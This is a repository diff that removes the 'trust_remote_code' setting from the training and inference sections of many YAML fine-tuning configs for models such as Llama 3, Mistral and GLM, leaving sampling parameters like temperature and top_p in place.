# Also applies to: unsloth/llama-3-8b-Instruct, meta-llama/Meta-Llama-3-8B-Instruct
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: unsloth/llama-3-8b, meta-llama/Meta-Llama-3-8B
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth notebook
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.2
|
||||
top_p: 1.2
|
||||
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -49,7 +48,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0.7
|
||||
min_p: 0.01
|
||||
top_p: 0.95
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -49,7 +48,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0.15
|
||||
top_p: 0.95
|
||||
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: "unsloth/Mistral-Nemo-Base-2407", "mistralai/Mistral-Nemo-Base-2407", "unsloth/Mistral-Nemo-Instruct-2407-bnb-4bit", "unsloth/Mistral-Nemo-Instruct-2407", "mistralai/Mistral-Nemo-Instruct-2407",
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: unsloth/Mistral-Small-Instruct-2409-bnb-4bit, mistralai/Mistral-Small-Instruct-2409
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth notebook
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -43,7 +42,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.5
|
||||
min_p: 0.1
|
||||
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: unsloth/mistral-7b-instruct-v0.3, mistralai/Mistral-7B-Instruct-v0.3
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Based on Mistral_v0.3_(7B)-Alpaca.ipynb
|
||||
# Also applies to: "unsloth/mistral-7b-v0.3", "mistralai/Mistral-7B-v0.3",
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -41,6 +40,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -6,7 +6,6 @@
|
|||
audio_type: dac
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
eval_steps: 0
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
|
|
@ -43,7 +42,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0.4
|
||||
top_k: 40
|
||||
top_p: 0.9
|
||||
|
|
|
|||
|
|
@ -6,7 +6,6 @@
|
|||
audio_type: bicodec
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
eval_steps: 0
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
|
|
@ -48,7 +47,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0.8
|
||||
top_k: 50
|
||||
top_p: 1.0
|
||||
|
|
|
|||
|
|
@ -5,7 +5,6 @@
|
|||
audio_type: csm
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
eval_steps: 0
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
|
|
@ -45,6 +44,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: unsloth/GLM-4.7-Flash-unsloth-bnb-4bit, unsloth/GLM-4.7-Flash-bnb-4bit, THUDM/GLM-4.7-Flash
|
||||
|
||||
training:
|
||||
trust_remote_code: true
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: true
|
||||
temperature: 0.7
|
||||
top_p: 0.8
|
||||
top_k: 20
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth notebook
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -39,7 +38,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0.3
|
||||
min_p: 0.15
|
||||
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: true
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -47,7 +46,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: true
|
||||
temperature: 1.0
|
||||
top_p: 1.0
|
||||
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth notebook
|
||||
|
||||
training:
|
||||
trust_remote_code: true
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -49,7 +48,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: true
|
||||
temperature: 1.5
|
||||
min_p: 0.1
|
||||
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Based on bert_classification.ipynb
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 1
|
||||
num_epochs: 0
|
||||
|
|
@ -41,6 +40,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue